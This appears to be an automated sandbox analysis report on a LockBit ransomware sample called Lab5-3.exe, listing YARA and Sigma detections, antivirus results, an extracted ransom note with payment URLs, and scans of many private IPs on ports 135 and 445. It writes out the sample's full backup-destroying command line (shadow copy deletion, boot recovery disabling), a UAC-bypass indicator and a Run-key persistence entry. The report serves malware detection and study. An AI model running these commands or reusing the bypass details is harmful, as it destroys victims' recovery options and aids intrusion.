27.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
27.0.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
19.2.Lab5-3.exe.400000.0.unpack	JoeSecurity_LockBit_ransomware	Yara detected LockBit ransomware	Joe Security
19.2.Lab5-3.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
19.2.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x22968:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2442e:$s1: CoGetObject 0x2292c:$s2: Elevation:Administrator!new:
19.2.Lab5-3.exe.400000.0.unpack	INDICATOR_SUSPICOUS_EXE_References_VEEAM	Detects executables containing many references to VEEAM. Observed in ransomware	unknown	0x21968:$s1: VeeamNFSSvc 0x2193c:$s9: VeeamTransportSvc 0x21950:$s10: VeeamDeploymentService
Click to see the 31 entries

Sigma Signatures

Operating System Destruction

Sigma detected: Delete shadow copy via WMIC

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Lab5-3.exe", ParentImage: C:\Users\user\Desktop\Lab5-3.exe, ParentProcessId: 7476, ParentProcessName: Lab5-3.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 7632, ProcessName: cmd.exe

System Summary

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: vssadmin delete shadows /all /quiet, CommandLine: vssadmin delete shadows /all /quiet, CommandLine|base64offset|contains: vh, Image: C:\Windows\System32\vssadmin.exe, NewProcessName: C:\Windows\System32\vssadmin.exe, OriginalFileName: C:\Windows\System32\vssadmin.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: vssadmin delete shadows /all /quiet, ProcessId: 8808, ProcessName: vssadmin.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\Desktop\Lab5-3.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Lab5-3.exe, ProcessId: 7476, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Lab5-3.exe", ParentImage: C:\Users\user\Desktop\Lab5-3.exe, ParentProcessId: 7476, ParentProcessName: Lab5-3.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet, ProcessId: 7632, ProcessName: cmd.exe

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\Desktop\Lab5-3.exe, ProcessId: 7476, TargetFilename: Y:\$RECYCLE.BIN\desktop.ini

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Lab5-3.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://lockbit-decryptor.top/?BC76D224712A7481BC6E90ACB6D18E50	Avira URL Cloud: Label: malware
Source: http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50	Avira URL Cloud: Label: malware
Source: http://lockbitks2tvnmwk.onion/?	Avira URL Cloud: Label: malware
Source: http://lockbit-decryptor.top/?	Avira URL Cloud: Label: malware

Found malware configuration

Source: Restore-My-Files.txt72.0.dr

Malware Configuration Extractor: Lockbit {"URL": "http://lockbitks2tvnmwk.onion", "Ransom Note": "All your important files are encrypted!\r\nAny attempts to restore your files with the thrid-party software will be fatal for your files!\r\nRESTORE YOU DATA POSIBLE ONLY BUYING private key from us.\r\nThere is only one way to get your files back:\r\n\r\n1) Through a standard browser(FireFox, Chrome, Edge, Opera)\r\n| 1. Open link http://lockbit-decryptor.top/?BC76D224712A7481BC6E90ACB6D18E50\r\n| 2. Follow the instructions on this page\r\n\r\n\r\n2) Through a Tor Browser - recommended\r\n| 1. Download Tor browser - https://www.torproject.org/ and install it.\r\n| 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50\r\n\t This link only works in Tor Browser! \r\n| 3. Follow the instructions on this page\r\n\r\n\r\n ### Attention! ###\r\n # lockbit-decryptor.top may be blocked. We recommend using a Tor browser to access the site\r\n # Do not rename encrypted files.\r\n # Do not try to decrypt using third party software, it may cause permanent data loss.\r\n # Decryption of your files with the help of third parties may cause increased price(they add their fee to our).\r\n # Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN.\r\n # Tor Browser user manual https://tb-manual.torproject.org/about"}

Multi AV Scanner detection for submitted file

Source: Lab5-3.exe

ReversingLabs: Detection: 96%

Machine Learning detection for sample

Source: Lab5-3.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00418620 malloc,RegCreateKeyExA,RegQueryValueExA,RegQueryValueExA,Sleep,RegCloseKey,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,malloc,CryptBinaryToStringA,CharUpperA,CryptBinaryToStringA,CharUpperA,free,	19_2_00418620
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00412920 LoadLibraryA,CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,GetProcAddress,CryptAcquireContextW,	19_2_00412920
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00418620 malloc,RegCreateKeyExA,RegQueryValueExA,RegQueryValueExA,Sleep,RegCloseKey,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,malloc,CryptBinaryToStringA,CharUpperA,CryptBinaryToStringA,CharUpperA,free,	27_2_00418620
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00412920 LoadLibraryA,CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,GetProcAddress,CryptAcquireContextW,	27_2_00412920

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: Lab5-3.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.0.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.Lab5-3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 7476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 9836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 9756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 10188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Lab5-3.exe PID: 11204, type: MEMORYSTR

Connects to many different private IPs (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:135
Source: global traffic	TCP traffic: 192.168.2.149:135
Source: global traffic	TCP traffic: 192.168.2.146:135
Source: global traffic	TCP traffic: 192.168.2.147:135
Source: global traffic	TCP traffic: 192.168.2.140:135
Source: global traffic	TCP traffic: 192.168.2.141:135
Source: global traffic	TCP traffic: 192.168.2.144:135
Source: global traffic	TCP traffic: 192.168.2.145:135
Source: global traffic	TCP traffic: 192.168.2.142:135
Source: global traffic	TCP traffic: 192.168.2.143:135
Source: global traffic	TCP traffic: 192.168.2.159:135
Source: global traffic	TCP traffic: 192.168.2.157:135
Source: global traffic	TCP traffic: 192.168.2.158:135
Source: global traffic	TCP traffic: 192.168.2.151:135
Source: global traffic	TCP traffic: 192.168.2.152:135
Source: global traffic	TCP traffic: 192.168.2.150:135
Source: global traffic	TCP traffic: 192.168.2.155:135
Source: global traffic	TCP traffic: 192.168.2.156:135
Source: global traffic	TCP traffic: 192.168.2.153:135
Source: global traffic	TCP traffic: 192.168.2.154:135
Source: global traffic	TCP traffic: 192.168.2.247:135
Source: global traffic	TCP traffic: 192.168.2.126:135
Source: global traffic	TCP traffic: 192.168.2.248:135
Source: global traffic	TCP traffic: 192.168.2.127:135	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:135
Source: global traffic	TCP traffic: 192.168.2.124:135
Source: global traffic	TCP traffic: 192.168.2.246:135
Source: global traffic	TCP traffic: 192.168.2.125:135
Source: global traffic	TCP traffic: 192.168.2.249:135
Source: global traffic	TCP traffic: 192.168.2.128:135
Source: global traffic	TCP traffic: 192.168.2.129:135
Source: global traffic	TCP traffic: 192.168.2.240:135
Source: global traffic	TCP traffic: 192.168.2.243:135
Source: global traffic	TCP traffic: 192.168.2.122:135
Source: global traffic	TCP traffic: 192.168.2.244:135
Source: global traffic	TCP traffic: 192.168.2.123:135
Source: global traffic	TCP traffic: 192.168.2.241:135
Source: global traffic	TCP traffic: 192.168.2.120:135
Source: global traffic	TCP traffic: 192.168.2.242:135
Source: global traffic	TCP traffic: 192.168.2.121:135
Source: global traffic	TCP traffic: 192.168.2.137:135
Source: global traffic	TCP traffic: 192.168.2.97:135
Source: global traffic	TCP traffic: 192.168.2.138:135
Source: global traffic	TCP traffic: 192.168.2.96:135
Source: global traffic	TCP traffic: 192.168.2.135:135
Source: global traffic	TCP traffic: 192.168.2.99:135
Source: global traffic	TCP traffic: 192.168.2.136:135
Source: global traffic	TCP traffic: 192.168.2.98:135
Source: global traffic	TCP traffic: 192.168.2.139:135
Source: global traffic	TCP traffic: 192.168.2.250:135
Source: global traffic	TCP traffic: 192.168.2.251:135
Source: global traffic	TCP traffic: 192.168.2.130:135
Source: global traffic	TCP traffic: 192.168.2.91:135
Source: global traffic	TCP traffic: 192.168.2.90:135
Source: global traffic	TCP traffic: 192.168.2.254:135
Source: global traffic	TCP traffic: 192.168.2.133:135
Source: global traffic	TCP traffic: 192.168.2.93:135
Source: global traffic	TCP traffic: 192.168.2.134:135
Source: global traffic	TCP traffic: 192.168.2.92:135
Source: global traffic	TCP traffic: 192.168.2.252:135
Source: global traffic	TCP traffic: 192.168.2.95:135
Source: global traffic	TCP traffic: 192.168.2.131:135
Source: global traffic	TCP traffic: 192.168.2.253:135
Source: global traffic	TCP traffic: 192.168.2.132:135
Source: global traffic	TCP traffic: 192.168.2.94:135
Source: global traffic	TCP traffic: 192.168.2.225:135
Source: global traffic	TCP traffic: 192.168.2.104:135
Source: global traffic	TCP traffic: 192.168.2.226:135
Source: global traffic	TCP traffic: 192.168.2.105:135
Source: global traffic	TCP traffic: 192.168.2.223:135
Source: global traffic	TCP traffic: 192.168.2.102:135
Source: global traffic	TCP traffic: 192.168.2.103:135
Source: global traffic	TCP traffic: 192.168.2.224:135
Source: global traffic	TCP traffic: 192.168.2.229:135
Source: global traffic	TCP traffic: 192.168.2.108:135
Source: global traffic	TCP traffic: 192.168.2.109:135
Source: global traffic	TCP traffic: 192.168.2.227:135
Source: global traffic	TCP traffic: 192.168.2.106:135
Source: global traffic	TCP traffic: 192.168.2.228:135
Source: global traffic	TCP traffic: 192.168.2.107:135
Source: global traffic	TCP traffic: 192.168.2.100:135
Source: global traffic	TCP traffic: 192.168.2.221:135
Source: global traffic	TCP traffic: 192.168.2.101:135
Source: global traffic	TCP traffic: 192.168.2.222:135
Source: global traffic	TCP traffic: 192.168.2.220:135
Source: global traffic	TCP traffic: 192.168.2.115:135
Source: global traffic	TCP traffic: 192.168.2.236:135
Source: global traffic	TCP traffic: 192.168.2.116:135
Source: global traffic	TCP traffic: 192.168.2.237:135
Source: global traffic	TCP traffic: 192.168.2.113:135
Source: global traffic	TCP traffic: 192.168.2.234:135
Source: global traffic	TCP traffic: 192.168.2.114:135
Source: global traffic	TCP traffic: 192.168.2.235:135
Source: global traffic	TCP traffic: 192.168.2.119:135
Source: global traffic	TCP traffic: 192.168.2.238:135
Source: global traffic	TCP traffic: 192.168.2.117:135
Source: global traffic	TCP traffic: 192.168.2.239:135
Source: global traffic	TCP traffic: 192.168.2.118:135
Source: global traffic	TCP traffic: 192.168.2.111:135
Source: global traffic	TCP traffic: 192.168.2.232:135
Source: global traffic	TCP traffic: 192.168.2.233:135
Source: global traffic	TCP traffic: 192.168.2.112:135
Source: global traffic	TCP traffic: 192.168.2.230:135
Source: global traffic	TCP traffic: 192.168.2.110:135
Source: global traffic	TCP traffic: 192.168.2.231:135
Source: global traffic	TCP traffic: 192.168.2.203:135
Source: global traffic	TCP traffic: 192.168.2.204:135
Source: global traffic	TCP traffic: 192.168.2.201:135
Source: global traffic	TCP traffic: 192.168.2.202:135
Source: global traffic	TCP traffic: 192.168.2.207:135
Source: global traffic	TCP traffic: 192.168.2.208:135
Source: global traffic	TCP traffic: 192.168.2.205:135
Source: global traffic	TCP traffic: 192.168.2.206:135
Source: global traffic	TCP traffic: 192.168.2.200:135
Source: global traffic	TCP traffic: 192.168.2.209:135
Source: global traffic	TCP traffic: 192.168.2.214:135
Source: global traffic	TCP traffic: 192.168.2.215:135
Source: global traffic	TCP traffic: 192.168.2.212:135
Source: global traffic	TCP traffic: 192.168.2.213:135
Source: global traffic	TCP traffic: 192.168.2.218:135
Source: global traffic	TCP traffic: 192.168.2.219:135
Source: global traffic	TCP traffic: 192.168.2.216:135
Source: global traffic	TCP traffic: 192.168.2.217:135
Source: global traffic	TCP traffic: 192.168.2.210:135
Source: global traffic	TCP traffic: 192.168.2.211:135
Source: global traffic	TCP traffic: 192.168.2.39:135
Source: global traffic	TCP traffic: 192.168.2.38:135
Source: global traffic	TCP traffic: 192.168.2.42:135
Source: global traffic	TCP traffic: 192.168.2.41:135
Source: global traffic	TCP traffic: 192.168.2.44:135
Source: global traffic	TCP traffic: 192.168.2.43:135
Source: global traffic	TCP traffic: 192.168.2.46:135
Source: global traffic	TCP traffic: 192.168.2.45:135
Source: global traffic	TCP traffic: 192.168.2.48:135
Source: global traffic	TCP traffic: 192.168.2.47:135
Source: global traffic	TCP traffic: 192.168.2.40:135
Source: global traffic	TCP traffic: 192.168.2.28:135
Source: global traffic	TCP traffic: 192.168.2.27:135
Source: global traffic	TCP traffic: 192.168.2.29:135
Source: global traffic	TCP traffic: 192.168.2.31:135
Source: global traffic	TCP traffic: 192.168.2.30:135
Source: global traffic	TCP traffic: 192.168.2.33:135
Source: global traffic	TCP traffic: 192.168.2.32:135
Source: global traffic	TCP traffic: 192.168.2.35:135
Source: global traffic	TCP traffic: 192.168.2.34:135
Source: global traffic	TCP traffic: 192.168.2.37:135
Source: global traffic	TCP traffic: 192.168.2.36:135
Source: global traffic	TCP traffic: 192.168.2.17:135
Source: global traffic	TCP traffic: 192.168.2.16:135
Source: global traffic	TCP traffic: 192.168.2.19:135
Source: global traffic	TCP traffic: 192.168.2.18:135
Source: global traffic	TCP traffic: 192.168.2.20:135
Source: global traffic	TCP traffic: 192.168.2.22:135
Source: global traffic	TCP traffic: 192.168.2.21:135
Source: global traffic	TCP traffic: 192.168.2.24:135
Source: global traffic	TCP traffic: 192.168.2.23:135
Source: global traffic	TCP traffic: 192.168.2.26:135
Source: global traffic	TCP traffic: 192.168.2.25:135
Source: global traffic	TCP traffic: 192.168.2.11:135
Source: global traffic	TCP traffic: 192.168.2.10:135
Source: global traffic	TCP traffic: 192.168.2.13:135
Source: global traffic	TCP traffic: 192.168.2.12:135
Source: global traffic	TCP traffic: 192.168.2.15:135
Source: global traffic	TCP traffic: 192.168.2.14:135
Source: global traffic	TCP traffic: 192.168.2.0:135
Source: global traffic	TCP traffic: 192.168.2.2:135
Source: global traffic	TCP traffic: 192.168.2.1:445
Source: global traffic	TCP traffic: 192.168.2.180:135
Source: global traffic	TCP traffic: 192.168.2.181:135
Source: global traffic	TCP traffic: 192.168.2.8:135
Source: global traffic	TCP traffic: 192.168.2.7:135
Source: global traffic	TCP traffic: 192.168.2.9:135
Source: global traffic	TCP traffic: 192.168.2.3:135
Source: global traffic	TCP traffic: 192.168.2.6:135
Source: global traffic	TCP traffic: 192.168.2.5:135
Source: global traffic	TCP traffic: 192.168.2.86:135
Source: global traffic	TCP traffic: 192.168.2.85:135
Source: global traffic	TCP traffic: 192.168.2.88:135
Source: global traffic	TCP traffic: 192.168.2.87:135
Source: global traffic	TCP traffic: 192.168.2.89:135
Source: global traffic	TCP traffic: 192.168.2.184:135
Source: global traffic	TCP traffic: 192.168.2.185:135
Source: global traffic	TCP traffic: 192.168.2.182:135
Source: global traffic	TCP traffic: 192.168.2.80:135
Source: global traffic	TCP traffic: 192.168.2.183:135
Source: global traffic	TCP traffic: 192.168.2.188:135
Source: global traffic	TCP traffic: 192.168.2.82:135
Source: global traffic	TCP traffic: 192.168.2.189:135
Source: global traffic	TCP traffic: 192.168.2.81:135
Source: global traffic	TCP traffic: 192.168.2.186:135
Source: global traffic	TCP traffic: 192.168.2.84:135
Source: global traffic	TCP traffic: 192.168.2.187:135
Source: global traffic	TCP traffic: 192.168.2.83:135
Source: global traffic	TCP traffic: 192.168.2.191:135
Source: global traffic	TCP traffic: 192.168.2.192:135
Source: global traffic	TCP traffic: 192.168.2.190:135
Source: global traffic	TCP traffic: 192.168.2.75:135
Source: global traffic	TCP traffic: 192.168.2.74:135
Source: global traffic	TCP traffic: 192.168.2.77:135
Source: global traffic	TCP traffic: 192.168.2.76:135
Source: global traffic	TCP traffic: 192.168.2.79:135
Source: global traffic	TCP traffic: 192.168.2.78:135
Source: global traffic	TCP traffic: 192.168.2.195:135
Source: global traffic	TCP traffic: 192.168.2.196:135
Source: global traffic	TCP traffic: 192.168.2.193:135
Source: global traffic	TCP traffic: 192.168.2.194:135
Source: global traffic	TCP traffic: 192.168.2.199:135
Source: global traffic	TCP traffic: 192.168.2.71:135
Source: global traffic	TCP traffic: 192.168.2.70:135
Source: global traffic	TCP traffic: 192.168.2.197:135
Source: global traffic	TCP traffic: 192.168.2.73:135
Source: global traffic	TCP traffic: 192.168.2.198:135
Source: global traffic	TCP traffic: 192.168.2.72:135
Source: global traffic	TCP traffic: 192.168.2.64:135
Source: global traffic	TCP traffic: 192.168.2.63:135
Source: global traffic	TCP traffic: 192.168.2.168:135
Source: global traffic	TCP traffic: 192.168.2.66:135
Source: global traffic	TCP traffic: 192.168.2.169:135
Source: global traffic	TCP traffic: 192.168.2.65:135
Source: global traffic	TCP traffic: 192.168.2.68:135
Source: global traffic	TCP traffic: 192.168.2.67:135
Source: global traffic	TCP traffic: 192.168.2.69:135
Source: global traffic	TCP traffic: 192.168.2.162:135
Source: global traffic	TCP traffic: 192.168.2.163:135
Source: global traffic	TCP traffic: 192.168.2.160:135
Source: global traffic	TCP traffic: 192.168.2.161:135
Source: global traffic	TCP traffic: 192.168.2.166:135
Source: global traffic	TCP traffic: 192.168.2.60:135
Source: global traffic	TCP traffic: 192.168.2.167:135
Source: global traffic	TCP traffic: 192.168.2.164:135
Source: global traffic	TCP traffic: 192.168.2.62:135
Source: global traffic	TCP traffic: 192.168.2.165:135
Source: global traffic	TCP traffic: 192.168.2.61:135
Source: global traffic	TCP traffic: 192.168.2.170:135
Source: global traffic	TCP traffic: 192.168.2.49:135
Source: global traffic	TCP traffic: 192.168.2.53:135
Source: global traffic	TCP traffic: 192.168.2.52:135
Source: global traffic	TCP traffic: 192.168.2.179:135
Source: global traffic	TCP traffic: 192.168.2.55:135
Source: global traffic	TCP traffic: 192.168.2.54:135
Source: global traffic	TCP traffic: 192.168.2.57:135
Source: global traffic	TCP traffic: 192.168.2.56:135
Source: global traffic	TCP traffic: 192.168.2.59:135
Source: global traffic	TCP traffic: 192.168.2.58:135
Source: global traffic	TCP traffic: 192.168.2.173:135
Source: global traffic	TCP traffic: 192.168.2.174:135
Source: global traffic	TCP traffic: 192.168.2.171:135
Source: global traffic	TCP traffic: 192.168.2.172:135
Source: global traffic	TCP traffic: 192.168.2.177:135
Source: global traffic	TCP traffic: 192.168.2.178:135
Source: global traffic	TCP traffic: 192.168.2.175:135
Source: global traffic	TCP traffic: 192.168.2.51:135
Source: global traffic	TCP traffic: 192.168.2.176:135
Source: global traffic	TCP traffic: 192.168.2.50:135

Connects to many different private IPs via SMB (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445
Source: global traffic	TCP traffic: 192.168.2.149:445
Source: global traffic	TCP traffic: 192.168.2.146:445
Source: global traffic	TCP traffic: 192.168.2.147:445
Source: global traffic	TCP traffic: 192.168.2.140:445
Source: global traffic	TCP traffic: 192.168.2.141:445
Source: global traffic	TCP traffic: 192.168.2.144:445
Source: global traffic	TCP traffic: 192.168.2.145:445
Source: global traffic	TCP traffic: 192.168.2.142:445
Source: global traffic	TCP traffic: 192.168.2.143:445
Source: global traffic	TCP traffic: 192.168.2.159:445
Source: global traffic	TCP traffic: 192.168.2.157:445
Source: global traffic	TCP traffic: 192.168.2.158:445
Source: global traffic	TCP traffic: 192.168.2.151:445
Source: global traffic	TCP traffic: 192.168.2.152:445
Source: global traffic	TCP traffic: 192.168.2.150:445
Source: global traffic	TCP traffic: 192.168.2.155:445
Source: global traffic	TCP traffic: 192.168.2.156:445
Source: global traffic	TCP traffic: 192.168.2.153:445
Source: global traffic	TCP traffic: 192.168.2.154:445
Source: global traffic	TCP traffic: 192.168.2.247:445
Source: global traffic	TCP traffic: 192.168.2.126:445
Source: global traffic	TCP traffic: 192.168.2.248:445
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445
Source: global traffic	TCP traffic: 192.168.2.124:445
Source: global traffic	TCP traffic: 192.168.2.246:445
Source: global traffic	TCP traffic: 192.168.2.125:445
Source: global traffic	TCP traffic: 192.168.2.249:445
Source: global traffic	TCP traffic: 192.168.2.128:445
Source: global traffic	TCP traffic: 192.168.2.129:445
Source: global traffic	TCP traffic: 192.168.2.240:445
Source: global traffic	TCP traffic: 192.168.2.243:445
Source: global traffic	TCP traffic: 192.168.2.122:445
Source: global traffic	TCP traffic: 192.168.2.244:445
Source: global traffic	TCP traffic: 192.168.2.123:445
Source: global traffic	TCP traffic: 192.168.2.241:445
Source: global traffic	TCP traffic: 192.168.2.120:445
Source: global traffic	TCP traffic: 192.168.2.242:445
Source: global traffic	TCP traffic: 192.168.2.121:445
Source: global traffic	TCP traffic: 192.168.2.137:445
Source: global traffic	TCP traffic: 192.168.2.97:445
Source: global traffic	TCP traffic: 192.168.2.138:445
Source: global traffic	TCP traffic: 192.168.2.96:445
Source: global traffic	TCP traffic: 192.168.2.135:445
Source: global traffic	TCP traffic: 192.168.2.99:445
Source: global traffic	TCP traffic: 192.168.2.136:445
Source: global traffic	TCP traffic: 192.168.2.98:445
Source: global traffic	TCP traffic: 192.168.2.139:445
Source: global traffic	TCP traffic: 192.168.2.250:445
Source: global traffic	TCP traffic: 192.168.2.251:445
Source: global traffic	TCP traffic: 192.168.2.130:445
Source: global traffic	TCP traffic: 192.168.2.91:445
Source: global traffic	TCP traffic: 192.168.2.90:445
Source: global traffic	TCP traffic: 192.168.2.254:445
Source: global traffic	TCP traffic: 192.168.2.133:445
Source: global traffic	TCP traffic: 192.168.2.93:445
Source: global traffic	TCP traffic: 192.168.2.134:445
Source: global traffic	TCP traffic: 192.168.2.92:445
Source: global traffic	TCP traffic: 192.168.2.252:445
Source: global traffic	TCP traffic: 192.168.2.95:445
Source: global traffic	TCP traffic: 192.168.2.131:445
Source: global traffic	TCP traffic: 192.168.2.253:445
Source: global traffic	TCP traffic: 192.168.2.132:445
Source: global traffic	TCP traffic: 192.168.2.94:445
Source: global traffic	TCP traffic: 192.168.2.225:445
Source: global traffic	TCP traffic: 192.168.2.104:445
Source: global traffic	TCP traffic: 192.168.2.226:445
Source: global traffic	TCP traffic: 192.168.2.105:445
Source: global traffic	TCP traffic: 192.168.2.223:445
Source: global traffic	TCP traffic: 192.168.2.102:445
Source: global traffic	TCP traffic: 192.168.2.103:445
Source: global traffic	TCP traffic: 192.168.2.224:445
Source: global traffic	TCP traffic: 192.168.2.229:445
Source: global traffic	TCP traffic: 192.168.2.108:445
Source: global traffic	TCP traffic: 192.168.2.109:445
Source: global traffic	TCP traffic: 192.168.2.227:445
Source: global traffic	TCP traffic: 192.168.2.106:445
Source: global traffic	TCP traffic: 192.168.2.228:445
Source: global traffic	TCP traffic: 192.168.2.107:445
Source: global traffic	TCP traffic: 192.168.2.100:445
Source: global traffic	TCP traffic: 192.168.2.221:445
Source: global traffic	TCP traffic: 192.168.2.101:445
Source: global traffic	TCP traffic: 192.168.2.222:445
Source: global traffic	TCP traffic: 192.168.2.220:445
Source: global traffic	TCP traffic: 192.168.2.115:445
Source: global traffic	TCP traffic: 192.168.2.236:445
Source: global traffic	TCP traffic: 192.168.2.116:445
Source: global traffic	TCP traffic: 192.168.2.237:445
Source: global traffic	TCP traffic: 192.168.2.113:445
Source: global traffic	TCP traffic: 192.168.2.234:445
Source: global traffic	TCP traffic: 192.168.2.114:445
Source: global traffic	TCP traffic: 192.168.2.235:445
Source: global traffic	TCP traffic: 192.168.2.119:445
Source: global traffic	TCP traffic: 192.168.2.238:445
Source: global traffic	TCP traffic: 192.168.2.117:445
Source: global traffic	TCP traffic: 192.168.2.239:445
Source: global traffic	TCP traffic: 192.168.2.118:445
